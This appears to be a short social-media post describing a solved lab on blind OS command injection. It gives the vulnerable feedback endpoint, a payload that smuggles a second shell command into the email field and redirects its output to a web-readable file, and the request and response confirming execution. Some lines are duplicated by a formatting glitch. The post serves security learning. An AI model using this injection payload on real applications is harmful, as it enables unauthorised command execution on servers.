July 14, 2026
Vulnerability: Blind OS Command Injection with Output Redirection
I successfully identified and exploited a blind OS command injection vulnerability in a controlled lab environment.

By Ethical Hacker
Proof of Concept:
Vulnerable Endpoint:
POST /feedback/submitPOST /feedback/submitAffected Parameter:
emailemailPayload:
admin123@gmail.com & whoami >/var/www/images/output.txt #admin123@gmail.com & whoami >/var/www/images/output.txt #Since the application did not directly display command output, I used output redirection to store the result.
Verification Request:
GET /image?filename=output.txtGET /image?filename=output.txtServer Response:
HTTP/2 200 OK
peter-fdwwTpHTTP/2 200 OK
peter-fdwwTpThe response confirmed successful operating system command execution.
Key Learnings: • Understanding blind OS command injection • Using output redirection for verification • Identifying insecure server-side command handling • Learning proper remediation techniques
Continuing my journey in Web Application Security & Bug Bounty Hunting 🔐
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